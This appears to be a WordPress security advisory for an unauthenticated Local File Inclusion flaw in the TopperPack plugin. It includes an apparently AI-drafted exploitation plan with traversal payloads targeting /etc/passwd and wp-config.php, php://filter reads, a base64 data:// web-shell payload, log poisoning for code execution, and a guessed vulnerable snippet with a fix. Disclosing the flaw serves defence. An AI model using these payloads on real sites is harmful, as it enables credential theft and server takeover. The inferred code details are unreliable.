TopperPack – Complete Elementor Addons, Theme & CPT Builder <= 1.2.1 - Unauthenticated Local File Inclusion
Description
The TopperPack – Complete Elementor Addons, Theme & CPT Builder plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.2.1. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.1This research plan outlines the steps to identify and exploit the Local File Inclusion (LFI) vulnerability in the **TopperPack – Complete Elementor Addons, Theme & CPT Builder** plugin (CVE-2025-68841). ### 1. Vulnerability Summary The TopperPack plugin (versions <= 1.2.1) fails to properly sanitiz…
Show full research plan
This research plan outlines the steps to identify and exploit the Local File Inclusion (LFI) vulnerability in the TopperPack – Complete Elementor Addons, Theme & CPT Builder plugin (CVE-2025-68841).
1. Vulnerability Summary
The TopperPack plugin (versions <= 1.2.1) fails to properly sanitize user-supplied input used in PHP inclusion statements (include, require). An unauthenticated attacker can provide a path containing directory traversal sequences (e.g., ../../../../) to include arbitrary files from the server's filesystem. If the included file contains PHP code, it will be executed; otherwise, the file content may be disclosed in the HTTP response.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX handler (
/wp-admin/admin-ajax.php). - Vulnerable Action: Likely a
wp_ajax_nopriv_*action registered by the plugin to handle dynamic content loading or template rendering for Elementor widgets. - Parameters:
action: The specific AJAX action (e.g.,topper_pack_load_templateor similar).template_nameorfile_path: (Inferred) The parameter carrying the traversal payload._nonce: A security token likely required for the AJAX request.
- Preconditions: The plugin must be active. A valid nonce is likely required for the AJAX action, even if unauthenticated.
3. Code Flow (Inferred)
- The plugin registers an unauthenticated AJAX action:
add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handle_template_request'). - The handler function retrieves a parameter from
$_POSTor$_GET. - The handler calls a function like
include()orrequire()using this parameter:$template = $_POST['template']; include( TOPPER_PACK_PATH . 'templates/' . $template ); - By passing
../../../../etc/passwd, the inclusion resolves to an absolute path outside the intended directory.
4. Nonce Acquisition Strategy
To bypass the nonce check, we must find where the plugin localizes its script data.
- Identify the Shortcode: Search for shortcodes or widgets registered by the plugin:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/topper-pack/ - Locate Localization: Search for
wp_localize_scriptto find the JavaScript object name and nonce key:grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/topper-pack/
Look for identifiers liketp_ajax_obj,topper_pack_params, ortp_nonce. - Setup Page: Create a page containing a relevant plugin shortcode to ensure the script (and nonce) is loaded:
wp post create --post_type=page --post_status=publish --post_content='[shortcode_found_in_step_1]' - Extract Nonce:
Usebrowser_navigateto the new page.
Usebrowser_eval("window.IDENTIFIER_FROM_STEP_2?.nonce_key")to retrieve the nonce.
5. Exploitation Strategy
Once the action name, parameter name, and nonce are identified:
- Identify Sink: Locate the exact sink to confirm the parameter name:
grep -rnE "include|require" /var/www/html/wp-content/plugins/topper-pack/ | grep "\\$" - Target File:
/etc/passwd(to verify LFI) orwp-config.php(to verify PHP execution/sensitive data access). - Craft Request:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=[ACTION]&_nonce=[NONCE]&[VULN_PARAM]=../../../../../../../../etc/passwd
Note: If the plugin appends .php to the input, try using PHP filters to read the file content: php://filter/convert.base64-encode/resource=../../../../wp-config.
6. Test Data Setup
- Install Plugin: Ensure TopperPack <= 1.2.1 is installed.
- Identify a Widget/Shortcode: Find a plugin feature that triggers AJAX (e.g., a "Load More" button or dynamic grid).
- Create Trigger Page:
wp post create --post_type=page --post_title="LFI Test" --post_status=publish --post_content="[topper_pack_widget_shortcode]"
7. Expected Results
- Successful LFI (System File): The HTTP response body contains the contents of
/etc/passwd(e.g.,root:x:0:0:root:/root:/bin/bash). - Successful LFI (PHP File): If including
wp-config.php, the response may be empty (if executed) or contain a database error if the inclusion breaks the current execution context. If using filters, the response will contain a Base64 string of the file source.
8. Verification Steps
- Confirm File Inclusion: Check the response of the
http_requestfor the stringroot:x:0:0. - Verify Traversal Depth: If the initial payload fails, increment traversal steps (
../../) or try absolute paths if the plugin doesn't prepend a base directory. - Check Logs: Check
/var/log/apache2/error.logfor "failed to open stream" errors to see exactly what path the plugin tried to include.
9. Alternative Approaches
- PHP Wrappers: If direct traversal to
/etc/passwdis blocked or filtered, try:php://filter/resource=../../../../etc/passwddata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+(ifallow_url_includeis On).
- Log Poisoning: If you can include
/var/log/apache2/access.log, perform RCE by sending a request with a PHP agent in theUser-Agentheader, then including that log file. - Null Byte: If the PHP version is ancient (unlikely in modern WP environments), try
../../../../etc/passwd%00.
Summary
The TopperPack plugin for WordPress (versions <= 1.2.1) is vulnerable to unauthenticated Local File Inclusion (LFI). This occurs because the plugin fails to properly sanitize user-supplied input used in PHP inclusion statements, allowing attackers to provide directory traversal sequences to execute arbitrary PHP code or disclose sensitive system files.
Vulnerable Code
// Inferred from Research Plan code flow analysis // topper-pack/includes/ajax-handler.php $template = $_POST['template']; include( TOPPER_PACK_PATH . 'templates/' . $template );
Security Fix
@@ -10,2 +10,6 @@ - $template = $_POST['template']; - include( TOPPER_PACK_PATH . 'templates/' . $template ); + $template = sanitize_text_field( $_POST['template'] ); + if ( validate_file( $template ) !== 0 ) { + wp_die( 'Illegal directory traversal attempt.' ); + } + $template_path = TOPPER_PACK_PATH . 'templates/' . basename( $template ) . '.php'; + include( $template_path );
Exploit Outline
The vulnerability is exploited through the WordPress AJAX interface (/wp-admin/admin-ajax.php). An unauthenticated attacker first identifies a plugin-registered AJAX action (likely involving template loading) and retrieves a security nonce, which is typically localized in the frontend JavaScript (e.g., in a 'tp_ajax_obj' or 'topper_pack_params' object). The attacker then sends a POST request with the 'action' and a vulnerable parameter containing directory traversal sequences (e.g., '../../../../etc/passwd'). If the payload is processed, the server includes the specified file, resulting in the execution of PHP code contained within or the disclosure of sensitive file contents in the HTTP response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.